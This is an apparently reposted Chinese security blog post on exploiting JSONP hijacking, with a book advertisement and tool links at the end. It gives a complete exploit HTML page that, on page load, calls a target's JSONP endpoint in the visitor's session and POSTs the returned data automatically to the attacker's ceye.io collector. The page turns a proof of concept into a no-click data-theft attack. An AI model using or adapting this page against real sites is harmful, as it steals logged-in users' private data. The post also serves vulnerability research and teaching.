用ceye来利用jsonp劫持

栏目: Json · 发布时间: 6年前

内容简介:之前测jsonp劫持的时候一般是弹个alert,就做poc了,突然想试试实际利用一下是什么样子,于是就开始尝试做个实际利用的poc。在网上看到一般的证明脚本是

之前测jsonp劫持的时候一般是弹个alert,就做poc了,

突然想试试实际利用一下是什么样子,于是就开始尝试做个实际利用的poc。

正文

在网上看到一般的证明脚本是

<script>
function lego(json){
alert(JSON.stringify(json))
  }
</script>

<script src="http://vulweb.com/info?callback=lego"></script>

于是我便想尝试一下去构造一个可以来直接利用的exp

在安全客上看到了关于jsonp劫持的exp https://www.anquanke.com/post/id/152339

因为这个脚本利用的是get方法

如果劫持到的数据过多,用get请求的时候会返回414(URI太长 )

于是我就想用post的方法去请求

这种exp不能自动发起请求,需要点击按键。

用ceye来利用jsonp劫持

与CSRF利用一样,如果用burpsuite生成的csrf-poc是用个submit按钮的,

在实际利用中还是差一点的,

所以我还是想让它变得更加实用一点。

首先是使用onload事件,

<body onload="load()">

即页面加载完成后执行一个方法,

这个方法利用有post请求,就可以完成我所想实现的了。

exp

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>JSONP EXP跨域测试</title>
</head>

<body onload="load()">
<script src="http://www.w3school.com.cn/jquery/jquery-1.11.1.min.js">
</script>

<script>

function load()
{
$.ajax({

url: "http://xxx.com/info?callback=lego",

type: "GET",       //指定GET请求方法

dataType: "jsonp", //指定服务器返回的数据类型

jsonp: "callback", //指定参数名称

jsonpCallback: "lego",

success: function (data) {
$.ajax({
  type: 'POST',
  url: 'http://yourceye.ceye.io/',
  data: JSON.stringify(data)
});

}

})
}
</script>
</body>
</html>

当然,需要在ceye.io中注册一个账号。

效果

用ceye来利用jsonp劫持

当然这也不是什么很有技术内容的文章,只是想跟大家分享一下一些小trick,多多包涵。


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

HTML5+CSS3精致范例辞典

HTML5+CSS3精致范例辞典

杨东昱 / 清华大学出版社 / 2013-1 / 48.00元

《HTML5+CSS3精致范例辞典(全彩印刷)》是专为希望成为网页设计师的学习者打造的工具书,书中详细说明了设计网页所需的HTML标记语言,对HTML5的网页标签规范作了完整说明,如元素标签的功能、属性以及如何使用等。有了基本网页制作能力,如何让网页更出色,版面更富变化、更易维护管理,那就得靠CSS帮忙了。《HTML5+CSS3精致范例辞典(全彩印刷)》还详细解说了最新CSS3的样式元素,除了说明......一起来看看 《HTML5+CSS3精致范例辞典》 这本书的介绍吧!

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

HTML 编码/解码
HTML 编码/解码

HTML 编码/解码

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码